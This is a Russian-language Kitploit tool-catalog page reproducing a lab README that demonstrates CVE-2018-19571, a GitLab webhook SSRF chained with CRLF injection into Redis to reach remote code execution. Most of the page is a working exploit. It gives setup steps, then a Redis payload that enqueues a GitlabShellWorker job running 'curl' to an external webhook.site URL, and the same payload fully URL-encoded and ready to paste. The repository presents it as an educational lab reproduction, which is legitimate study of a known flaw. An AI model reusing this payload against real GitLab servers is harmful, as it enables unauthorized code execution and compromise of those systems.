Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
gitlab-ssrf — Демонстрация CVE-2018-19571: GitLab SSRF CVE | Kitploit
Инструменты/GitHubGitHub/cs4239-u6/gitlab-ssrf
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и ОбразованиеЛаборатории и Практика
GitHubcs4239-u6/gitlab-ssrf

gitlab-ssrf

Демонстрация CVE-2018-19571: GitLab SSRF CVE

Репозиторий
14 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GitLab SSRF

Этот репозиторий является воспроизведением CVE-2018-19571 и демонстрирует, как в сочетании с эксплуатацией CRLF-инъекции это может привести к удалённому выполнению кода (RCE).

Детали CVE

CVE-2018-19571

GitLab CE/EE версий с 8.18 до 11.x (до 11.3.11), с 11.4 до 11.4.8 и с 11.5 до 11.5.1 уязвимы к SSRF в вебхуках.

Настройка

Для воспроизведения мы будем использовать уязвимый образ GitLab и запускать его с помощью Docker Compose.

root@kitploit:~
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up

Цель — предоставить URL вебхука, который при обработке приведёт к отправке полезной нагрузки в Redis.

Эта полезная нагрузка, которая будет поставлена в очередь, будет содержать задачу Sidekiq. При выполнении эта задача запустит произвольный шелл-код. В нашем случае она скопирует нам значение флага.

Шаги

Сначала мы пройдём по шагам, а затем объясним, что делает каждый из них.

  1. Создайте учётную запись или войдите под учётной записью root.

    Пароль root должен быть password, как указано в файле initial_root_password, но иногда он не загружается должным образом.

    В таких случаях потребуется изменить пароль учётной записи root напрямую.

    root@kitploit:~
    docker exec -it gitlab-ssrf_web_1 /bin/bash
    # Внутри оболочки
    gitlab-rails console
    # Внутри консоли
    user = User.find_by_username 'root'
    user.password = 'password'
    user.password_confirmation = 'password'
    user.save!
    

    Затем перейдите по адресу http://localhost:5080 и войдите.

    Страница входа

  2. Перейдите на страницу создания проекта.

    Затем откройте http://localhost:5080/projects/new и нажмите вкладку Import project. Вы должны увидеть опцию: Repo by URL. Мы будем использовать её для выполнения нашей SSRF-атаки.

    Страница проекта

  3. Создайте вебхук для получения флага.

    Создайте URL вебхука на https://webhook.site/.

    Замените URL вебхука в следующей полезной нагрузке:

    root@kitploit:~
    git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
     multi
     sadd resque:gitlab:queues system_hook_push
     lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
     exec
     exec
    /ssrf.git
    

    Затем кодируем вышеуказанное с помощью URL Encoder. Обратите внимание: кодировать будем только полезную нагрузку (включая пробелы в начале и переносы строк), а не первую и последнюю строки. Также необходимо использовать CRLF. Наконец, замените следующие символы (если они есть) на их соответствующие кодировки:

    • _: %5F
    • .: %2E
    • -: %2D
    root@kitploit:~

Отладка

Если вышеуказанное не работает, возможно, потребуется включить исходящие запросы к внутренним службам.

Запросы

Это можно сделать по адресу http://localhost:5080/admin/application_settings/network после входа под root.

Как это работает?

Мы используем две уязвимости для этой атаки. Первая — SSRF, при которой внутренние службы могут быть доступны через IPv6. Подробнее можно узнать в GitLab issue здесь: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.

Вторая уязвимость заключается в том, что в URL для вебхуков допускались разрывы строк.

В совокупности это позволяет нам передать полезную нагрузку внутренней службе. В данном случае мы нацеливаемся на локальный сервис Redis.

Передаваемая полезная нагрузка помещает в очередь Redis новую задачу, которая затем обрабатывается Sidekiq — асинхронным исполнителем задач для Ruby on Rails. Мы целенаправленно нацеливаемся на класс задачи GitlabShellWorker, который позволяет выполнять произвольный код.

root@kitploit:~
class GitlabShellWorker
  include ApplicationWorker
  include Gitlab::ShellAdapter

  def perform(action, *arg)
    gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
  end
end

Таким образом, передав open('| curl <URL HERE>').read и выполнив это через class_eval, мы можем запустить удалённое выполнение кода.

Скачать инструмент
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git

(Или вы можете просто использовать эту полезную нагрузку выше и проверить результат на https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/).

Загрузка

Вы должны увидеть, что был отправлен GET-запрос к вебхуку (и он будет повторяться, так как GitLab многократно пытается получить репозиторий).

Вебхук